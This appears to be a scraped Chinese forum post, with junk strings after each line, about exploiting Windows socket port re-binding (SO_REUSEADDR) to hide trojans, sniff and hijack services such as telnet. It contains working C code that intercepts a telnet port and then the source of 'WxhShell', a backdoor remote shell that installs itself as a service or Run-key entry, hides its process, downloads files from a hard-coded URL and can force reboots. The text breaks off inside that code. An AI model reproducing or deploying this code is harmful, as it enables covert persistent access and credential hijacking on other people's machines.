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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Bn.R,B0PL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WcXNc`x  
18kWnF]n=  
  saddr.sin_family = AF_INET; @yQ1F> t  
7N5M=f.DS(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p.MLKp-'  
2=<,#7zlJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yI!W658$6  
I"8Z'<|/\q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .;U?%t_7  
e<8KZ  
  这意味着什么?意味着可以进行如下的攻击: cN2Pl%7  
QYj 4D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~U]%>Zf  
4__HH~j?Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SEu:31k{o  
"9~KVILlLu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wT3D9N.  
=_6 Q26  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S@ y! 0,  
*.A-UoHa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BHkicb?   
%3=T7j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1} _<qk9  
uVX,[%*P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;<cCT!A  
*y+K{ fM1  
  #include 6%o@!|=I  
  #include KAT"!b   
  #include nc.P  
  #include    sUk n.g!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l4I',79l  
  int main() <P*7u\9&  
  { ]g%HU%R-m  
  WORD wVersionRequested; =8]Ru(#Ig  
  DWORD ret; DU5rB\!.~  
  WSADATA wsaData; `sv]/8RN  
  BOOL val; R$it`0D4o  
  SOCKADDR_IN saddr; q}E'x/s2m  
  SOCKADDR_IN scaddr; hPKutx  
  int err; Sl \EPKZD  
  SOCKET s; hbx+*KM  
  SOCKET sc; b$*G&d5  
  int caddsize; ~X;sa,)L1+  
  HANDLE mt; S4E@wLi  
  DWORD tid;   '81Rwp  
  wVersionRequested = MAKEWORD( 2, 2 ); 7 lq$PsC  
  err = WSAStartup( wVersionRequested, &wsaData ); J3r':I}\  
  if ( err != 0 ) { e&m TaCLG  
  printf("error!WSAStartup failed!\n"); GIK.+kn\  
  return -1; 3m~3l d  
  } 5["n] i  
  saddr.sin_family = AF_INET; %2?"x*A  
   lZ,$lZg9Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'Rv.6>xqc  
%7Gq#rq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xi=4S[.4  
  saddr.sin_port = htons(23); X`]>J5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @3I?T Q1  
  { Ax4;[K\Q  
  printf("error!socket failed!\n"); C+C1(b;1  
  return -1; b#S-u }1PE  
  } Hjy4tA7,l  
  val = TRUE; ^w*vux|F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 grDz7\i:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `ih#>i_ &  
  { 25;`yB$  
  printf("error!setsockopt failed!\n"); ?CpM.{{s  
  return -1; )VG_Y9;Xk:  
  } (Q|Y*yI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1fh6A`c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8PGuZw<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1n $  
<@v|~ AO4~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sgB|2cj;j  
  {  8KzH -  
  ret=GetLastError(); ,^T0!k$  
  printf("error!bind failed!\n"); O(T6Y80pU  
  return -1; uF T5Z  
  } d5=yAn-+=  
  listen(s,2); >>>MTV f  
  while(1) DEenvS`,P  
  { a S+i`A:a  
  caddsize = sizeof(scaddr); i32S(3se  
  //接受连接请求 #@L<<Q8}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dQAo~] B  
  if(sc!=INVALID_SOCKET) mgBxcmv  
  { &$pA,Gjin\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;BEX|w xn  
  if(mt==NULL) sO&eV68 [  
  { .1""U ']  
  printf("Thread Creat Failed!\n"); WQY\R!+  
  break; A)f/ww)Q  
  } zvbz3a  
  } M`@Es#s  
  CloseHandle(mt); 7+J<N@.d  
  } dcN4N5r  
  closesocket(s); R!_1*H$  
  WSACleanup();  d|$-Sz  
  return 0; z%/<|`  7  
  }   ']vMOGG  
  DWORD WINAPI ClientThread(LPVOID lpParam) D+Z,;XZ  
  { ?h ym~,  
  SOCKET ss = (SOCKET)lpParam; q%Lw#f  
  SOCKET sc; ! 9=Y(rb  
  unsigned char buf[4096]; wW'.bqA  
  SOCKADDR_IN saddr; )$E'2|Gm/  
  long num; )Z@hk]@?_[  
  DWORD val; Oat #%  
  DWORD ret; i8(n(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~RnBs`&!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &d[%  
  saddr.sin_family = AF_INET; q&EwD(k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HlX2:\\  
  saddr.sin_port = htons(23); v!rOT/I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yk#$-"c/a  
  { 4 !M6 RL8{  
  printf("error!socket failed!\n"); uBBW2  
  return -1; d Y]i AJ  
  } q|R$A8)L.  
  val = 100; 'lR f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ))#_@CwRr  
  { L~L]MC&  
  ret = GetLastError(); ~Uaz;<"j0  
  return -1; m_>~e}2'A  
  } [fXC ;c1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q02:qn?T  
  { \G &q[8F\  
  ret = GetLastError(); ` oXL  
  return -1; dZjh@yGP.  
  } 7)v`l1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jT q@@y  
  { 7)+%;|~  
  printf("error!socket connect failed!\n"); 3` \)Qm  
  closesocket(sc); l j*J|%~  
  closesocket(ss); Y@M l}43  
  return -1; p` LPO  
  } 3q0^7)m0  
  while(1) ]$96#}7N  
  { $ *^E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;X2(G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wPU<jAQyp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y=N; Bj  
  num = recv(ss,buf,4096,0); ='|HUxFi  
  if(num>0) U?Icyn3q0  
  send(sc,buf,num,0); M 4TFWOC1  
  else if(num==0) wC[Bh^]  
  break; ]&/KAk  
  num = recv(sc,buf,4096,0); hV4B?##O  
  if(num>0) 4FgY!k  
  send(ss,buf,num,0); 2Md'<.  
  else if(num==0) 5&*B2ZBzH  
  break; 0Ku%9wh-  
  } ';bovh@*  
  closesocket(ss); ]tVXao  
  closesocket(sc); uua1_# a  
  return 0 ; S4Vv _k-&  
  } f~D> *<L4-  
Qvd$fY**  
nu#_,x<LS  
========================================================== Wd_cNR\  
D;0xROW8{  
下边附上一个代码,,WXhSHELL O/=i'0X v  
H-,RzL/  
========================================================== *AU"FI> V  
_(8HK  
#include "stdafx.h" ,\K1cW~U5  
?=uw0~O[  
#include <stdio.h> AQ 5CrYb  
#include <string.h> "HQH]?!k  
#include <windows.h> mTzzF9n"Y  
#include <winsock2.h> g{ cHh(S  
#include <winsvc.h> '?~k`zK  
#include <urlmon.h> e1RtoNF^  
:oH"  
#pragma comment (lib, "Ws2_32.lib") .#b!#   
#pragma comment (lib, "urlmon.lib") &:` 7  
fodr1M4J  
#define MAX_USER   100 // 最大客户端连接数 Ir*,fyl  
#define BUF_SOCK   200 // sock buffer }>:x  
#define KEY_BUFF   255 // 输入 buffer 1& k_&o  
S{NfU/: dL  
#define REBOOT     0   // 重启 {O,Cc$_  
#define SHUTDOWN   1   // 关机 pAV}hB  
URW'*\Xjb  
#define DEF_PORT   5000 // 监听端口 "l&sDh%Lk<  
9zkR)C  
#define REG_LEN     16   // 注册表键长度 ud`.}H~aB  
#define SVC_LEN     80   // NT服务名长度 `i,ZwnLh{  
-r/#20Y  
// 从dll定义API ]cLpLA"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tf21K9+`L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )p(5$AR7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \aU^c24>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K>,Kbs=D6  
Y%anR|  
// wxhshell配置信息 Czid"Ih-  
struct WSCFG { T5Sa9\`>  
  int ws_port;         // 监听端口 [/6$P[  
  char ws_passstr[REG_LEN]; // 口令 eP(%+[g  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ej F<lw  
  char ws_regname[REG_LEN]; // 注册表键名 FOM~Uj  
  char ws_svcname[REG_LEN]; // 服务名 v}+axu/?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s~IOc%3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bxqXFy/I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "z=A=~~<{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Iwize,J~X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 43A6B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V`pTl3  
xQk]a1  
}; \G#Qe*"'K  
9c=Y+=<  
// default Wxhshell configuration fP&F$"o8  
struct WSCFG wscfg={DEF_PORT, slOki|p;  
    "xuhuanlingzhe",  aVz<RS  
    1, ~Rs|W;  
    "Wxhshell", .%U~ r2Y(  
    "Wxhshell", ?0DCjh8We  
            "WxhShell Service", InH R> ,  
    "Wrsky Windows CmdShell Service", O->i>d  
    "Please Input Your Password: ", 5#80`/w^U  
  1, a_`E'BkgU  
  "http://www.wrsky.com/wxhshell.exe", _B 8e 1an  
  "Wxhshell.exe" 9RE{,mos2v  
    }; -=Q_E^'  
{,]BqFXv  
// 消息定义模块 GH7{_@pv8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `JG~%0Z?}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 69dFd!G\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hIXGfvUy  
char *msg_ws_ext="\n\rExit."; 2GqPS  
char *msg_ws_end="\n\rQuit."; k {s#wJA  
char *msg_ws_boot="\n\rReboot..."; 9(|[okB  
char *msg_ws_poff="\n\rShutdown..."; >QE^KtZ  
char *msg_ws_down="\n\rSave to "; 3${?!OC  
V~Tjz%<  
char *msg_ws_err="\n\rErr!"; V*=cNj  
char *msg_ws_ok="\n\rOK!"; u5H#(&Om  
@7u4v%,wB  
char ExeFile[MAX_PATH]; jm.pb/  
int nUser = 0; umcbIi('  
HANDLE handles[MAX_USER]; ?OZbns~  
int OsIsNt; yx{Ac|<mR  
6N~ jt  
SERVICE_STATUS       serviceStatus; >:W)9o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8kW9.   
D8m?`^Zz  
// 函数声明 smIZ:L %  
int Install(void); "sAR< 5b  
int Uninstall(void); thipfS  
int DownloadFile(char *sURL, SOCKET wsh); %f6l"~y  
int Boot(int flag); D'fP2?3FK  
void HideProc(void); g#9w5Q  
int GetOsVer(void); pqMv YF  
int Wxhshell(SOCKET wsl); nI2}E  
void TalkWithClient(void *cs); 0WF(Ga/o  
int CmdShell(SOCKET sock); O<6/0ub&+h  
int StartFromService(void); l>~:lBO  
int StartWxhshell(LPSTR lpCmdLine); X2 M<DeF:  
puZ<cV e/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iL|*g3`-f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l2VO=RDiW  
;cp-jY_U  
// 数据结构和表定义 _q6+]  
SERVICE_TABLE_ENTRY DispatchTable[] = ua|qL!L+  
{ h,FP,w;G  
{wscfg.ws_svcname, NTServiceMain}, +}mj6I  
{NULL, NULL} K8|6r|x  
}; g?`D8  
II>X6  
// 自我安装 Y0s^9?*  
int Install(void) 1yX&iO^d  
{ ;4 ?%k )  
  char svExeFile[MAX_PATH]; 7w>"M  
  HKEY key; ,yV pB)IQ  
  strcpy(svExeFile,ExeFile); oYJ&BPuA'  
\lKQDct. -  
// 如果是win9x系统,修改注册表设为自启动 LaN4%[;X1-  
if(!OsIsNt) { ]3d&S5zU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( fdDFb#1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U?$v 1||  
  RegCloseKey(key); a P{xMB#1h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B1nb23SY T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wf|CE410  
  RegCloseKey(key); !cSD9q*  
  return 0; Vg:P@6s  
    } aj(M{gFq~  
  } )&_{m K  
} Y] P}7GZ  
else { -\UzL:9>  
X@~sIUXx9  
// 如果是NT以上系统,安装为系统服务 {E6W]Mno  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?ZDx9*f  
if (schSCManager!=0) sv0kksj  
{ `Z%XA>  
  SC_HANDLE schService = CreateService *2:)Rf  
  ( 5VG@Q%  
  schSCManager, M\`6H8aLn  
  wscfg.ws_svcname, 6bHj<6>MX  
  wscfg.ws_svcdisp, .*Hv^_  
  SERVICE_ALL_ACCESS, A]H+rxg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D|=QsWZI  
  SERVICE_AUTO_START, 'O{hr0q}  
  SERVICE_ERROR_NORMAL, Jc:G7}j6  
  svExeFile, + s[(CI.b  
  NULL, /)oxuk&}c  
  NULL, LR9'BUfFv  
  NULL, tmb0zuJ&C!  
  NULL, ?7G[`@^Y  
  NULL p%3';7W\  
  ); #(  kT  
  if (schService!=0) b]|7{yMV  
  { KpwUp5K  
  CloseServiceHandle(schService); ?[m5|ty#  
  CloseServiceHandle(schSCManager); Llk`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HnY: gu  
  strcat(svExeFile,wscfg.ws_svcname); 3_33@MM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X,y$!2QI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %'g/4I  
  RegCloseKey(key); /OxF5 bN2  
  return 0; ^eZqsd8a  
    } 57[O)5u.+  
  } VJ=!0v  
  CloseServiceHandle(schSCManager); IloHU6h'  
} ;nh7Elk  
} |#-Oz#Eg'  
UI!EIZ*~  
return 1; G53!wIW2:  
} NEGpf[$  
4tu2%Og)?  
// 自我卸载 >Zr/U!W*?  
int Uninstall(void) X;6X K$"  
{ Nm; ka&'  
  HKEY key; jXW71$B  
~+T~}S  
if(!OsIsNt) { aX~iY ~?_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =3( ZUV X  
  RegDeleteValue(key,wscfg.ws_regname); KRXe\Sx  
  RegCloseKey(key); lT(MywNsg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H>Fy 2w  
  RegDeleteValue(key,wscfg.ws_regname); ?ii a  
  RegCloseKey(key); Sk1yend4  
  return 0; q-!m|<Z  
  } (TY^ kySr  
} #[i({1`^L  
} FijzO  
else { >G-D& A+  
FD`V39##  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZAiQofQ:2  
if (schSCManager!=0) ^(6.M\Q  
{ 1= <Qnmw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M@gm.)d  
  if (schService!=0) `Y(/G"]  
  { -bs~{  
  if(DeleteService(schService)!=0) { (>Tu~Vo  
  CloseServiceHandle(schService); 3-Ti'xM  
  CloseServiceHandle(schSCManager); )fC^h=Qp  
  return 0; 4{J%`H`Q!  
  } 4W1"=VL[g  
  CloseServiceHandle(schService); Tlf G"HzZ%  
  } TSD7.t)^  
  CloseServiceHandle(schSCManager); nNL9B~d  
} ikofJl]9  
} ^WVr@6  
hZyz5aZ)K  
return 1; gN(8T_r  
} X#p E!mT  
,rG$JCS'KQ  
// 从指定url下载文件 pET5BMxGG  
int DownloadFile(char *sURL, SOCKET wsh) ^Ji5)c  
{ ^(a%B  
  HRESULT hr; #5'9T:8  
char seps[]= "/"; c"fnTJXr79  
char *token; 'KXvn0  
char *file; :PjHsNp;^  
char myURL[MAX_PATH]; OHH wcJ7N  
char myFILE[MAX_PATH]; 1'}~;?_  
<G#JPt6  
strcpy(myURL,sURL); a[t2T jB  
  token=strtok(myURL,seps); #,$d!l @  
  while(token!=NULL) {HQ?  
  { r6j 3A  
    file=token; $0{c =r9  
  token=strtok(NULL,seps); uZg Kex;c  
  } ` 8.d  
V~ZAs+(2Z  
GetCurrentDirectory(MAX_PATH,myFILE); friNo^v&  
strcat(myFILE, "\\"); dRt]9gIsx  
strcat(myFILE, file); nV GrW#'E  
  send(wsh,myFILE,strlen(myFILE),0); qifX7AXHr  
send(wsh,"...",3,0); rFdovfb   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @e+QGd;}  
  if(hr==S_OK) mZ*!$P:vy"  
return 0;  s y#CR4X  
else [,$] %|6wt  
return 1; X8p-VCkV  
X >C*(/a  
} yp_:] RE  
k)dLJ<EM  
// 系统电源模块 ti3T ?_  
int Boot(int flag) x.~Z9j  
{ M-"%4^8_  
  HANDLE hToken; ,;hI yT  
  TOKEN_PRIVILEGES tkp; jL>IX`,+6  
MAQkk%6[g  
  if(OsIsNt) { -6(C ^X%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DHd9yP9-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); , 0MDkXb  
    tkp.PrivilegeCount = 1; 2 D>WIOX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yk,o*g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f3[gA Y  
if(flag==REBOOT) { .B+R+2uY3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5O%Q*\(  
  return 0; tQ&.;{5[f  
} &2d^=fih  
else { -uHD| }  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -O:+?gG  
  return 0; N p$pz  
} mw-0n  
  } 67wY_\m9I  
  else { =c"`>Vi@d  
if(flag==REBOOT) {  pQKR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @7e h/|Y,  
  return 0; ~k'KS 7c  
} p'M5]G  
else { N.vt5WP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ) wtVFG  
  return 0; M{<cqxY  
} S!j=hj@qW  
} ouL/tt_~  
r({!ejT{U  
return 1; p%pM3<p  
} ^I*</w8  
=UE/GTbl  
// win9x进程隐藏模块 G1=GzAd$5  
void HideProc(void) `xMmo8u4  
{ |2z?8lx  
r BQFC 4L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O$%M.C'  
  if ( hKernel != NULL ) BQu_)@  
  { aw&:$twbM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {/#^v?,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N3nFE:`u]  
    FreeLibrary(hKernel); ,7&`V=C  
  } 1D%3|_id^  
(&HAjB  
return; v]SHude{  
} eM Ym@~4  
/T1z z2l~  
// 获取操作系统版本 v\7k  
int GetOsVer(void) &:L8; m  
{ FsZM_0>/s  
  OSVERSIONINFO winfo; XboOvdt^|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "Gcr1$xG8!  
  GetVersionEx(&winfo); "Ks%!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E=gD{1,?  
  return 1; 7d/wT+f  
  else x@.iDP@(  
  return 0; XRs/gUT  
} xTD6?X'4  
g2C-)*'{yh  
// 客户端句柄模块 QHr 3J  
int Wxhshell(SOCKET wsl) ` 2|~Z H  
{ ?t)y/@eG  
  SOCKET wsh; fh$U"  
  struct sockaddr_in client; ]Vjn7P`~ N  
  DWORD myID; W_8 FzXA  
f&`v-kiAn=  
  while(nUser<MAX_USER) &0f7>.y  
{ PGT!HdX#{  
  int nSize=sizeof(client); <t]c'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3D\.S j%  
  if(wsh==INVALID_SOCKET) return 1; eJ{"\c(  
~QBf78@Gf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UkNC|#l)  
if(handles[nUser]==0) b9|F>3?r>  
  closesocket(wsh); :Oj+Tc9A  
else ejQCMG7  
  nUser++; JjCf<ktE.  
  } D|BN_ai9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~iSW^mi  
axl?t|~I  
  return 0; j)0R*_-B[  
} Nl8Cctrf  
g-s@m}[T  
// 关闭 socket V:+bq`  
void CloseIt(SOCKET wsh) p?h;Sv/  
{ INT2i8oU  
closesocket(wsh); zJy{Ry[Sb  
nUser--; \r 2qH0B  
ExitThread(0); 2u:j6ic  
} FSB$D)4z>b  
!(~>-;A8  
// 客户端请求句柄 ?|/}~ nj7  
void TalkWithClient(void *cs) %qHT!aP  
{ 9..k/cH  
vP2QAGk <  
  SOCKET wsh=(SOCKET)cs; SrtmpQ  
  char pwd[SVC_LEN]; -a[{cu{  
  char cmd[KEY_BUFF]; aVb]H0  
char chr[1]; 7 AiCQWf9  
int i,j; ,+RO 5n  
+g[B &A!d+  
  while (nUser < MAX_USER) { ZL>V9UWN  
MD)"r>k  
if(wscfg.ws_passstr) { ^&.?kJM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5HN<*u%z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QhUr aZ  
  //ZeroMemory(pwd,KEY_BUFF); Y P c<  
      i=0; X A|`wAGP  
  while(i<SVC_LEN) { s*f.` A*)  
QFPx4F7(e  
  // 设置超时 \_E.%K  
  fd_set FdRead; Wd AGZUp  
  struct timeval TimeOut; o0L#39`' g  
  FD_ZERO(&FdRead); D2p6&HNT  
  FD_SET(wsh,&FdRead); c5R{Sl  
  TimeOut.tv_sec=8; hl:eF:'hm  
  TimeOut.tv_usec=0; L'Zud,JKg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G#: !wI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yn>zR I  
W wha?W>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R!,)?j;  
  pwd=chr[0]; s>\g03=  
  if(chr[0]==0xd || chr[0]==0xa) { DcA'{21  
  pwd=0; zIFL?8!H9{  
  break; %b;+/s2W  
  } ]LTc)[5Zj  
  i++; DZRxp,  
    } RHVv}N0  
S(i(1Hs.  
  // 如果是非法用户,关闭 socket >EtP^Lu~f_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,d>~='  
} 4d G-  
]ECZU   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g{hA,-3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #ya|{K  
z|*6fFE   
while(1) { F |81i$R  
H$amt^|zQ4  
  ZeroMemory(cmd,KEY_BUFF); K)&XQ`&  
{K4t8T]  
      // 自动支持客户端 telnet标准   K=TW}ZO  
  j=0; \C#b@xLnX  
  while(j<KEY_BUFF) { Y&f[2+?2NK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $S8bp3)  
  cmd[j]=chr[0]; $L8s/1up  
  if(chr[0]==0xa || chr[0]==0xd) { ,7jiHF  
  cmd[j]=0; Y0O<]2yVx  
  break;  _np>({  
  } Uv`v|S:+2  
  j++;  jnzz~:  
    } KH>sCEt  
<S@mQJS!y  
  // 下载文件 \Ntdl:fSw  
  if(strstr(cmd,"http://")) { }|"*"kxi!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +1jqCW  
  if(DownloadFile(cmd,wsh)) AJlIA[Kt:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k`mrRs  
  else zMzf=~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [pgkY!R?)  
  } OXX(OCG>  
  else { s k6|_  
,tF" 4|#  
    switch(cmd[0]) { ^%$W S,  
  a 8hv.43  
  // 帮助 (Zn3-t*  
  case '?': { q\ y#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y_3YO 2K]  
    break; mRnzP[7-\)  
  } ae#HA[\0G  
  // 安装 Qn)[1v  
  case 'i': { S%s|P=u  
    if(Install()) "jJdUFN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9hLmrYNM1  
    else RyQ\5^z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gc:p@<  
    break; Y1_6\zpA  
    } oy2dA  
  // 卸载 $4*E\G8  
  case 'r': { C+]q  
    if(Uninstall()) x*"pDI0k)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $17 v,  
    else t2%@py*bU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >`?+FDOJ,  
    break; VmH_0IM^6  
    } VBsFT2XiL  
  // 显示 wxhshell 所在路径 iLd"tn'  
  case 'p': { f+aS2k(e>  
    char svExeFile[MAX_PATH]; Ta\8 >\6  
    strcpy(svExeFile,"\n\r"); HD8"=7zJk  
      strcat(svExeFile,ExeFile); ah"MzU)  
        send(wsh,svExeFile,strlen(svExeFile),0); 9q)nNX<$)  
    break; L5qCv -{  
    } g yH7((#i  
  // 重启 sEJ;t0.LX  
  case 'b': { -anFt+f-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vl{_M*w ;  
    if(Boot(REBOOT)) m57tO X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S}p&\w H  
    else { yZ~eLWz  
    closesocket(wsh); %)hIpxOrX  
    ExitThread(0); Or#+E2%1E  
    } # /,2MQ  
    break; {{[jC"4AY  
    } g9weJ6@}M  
  // 关机 + yP[(b/  
  case 'd': { 8&A|)ur4  
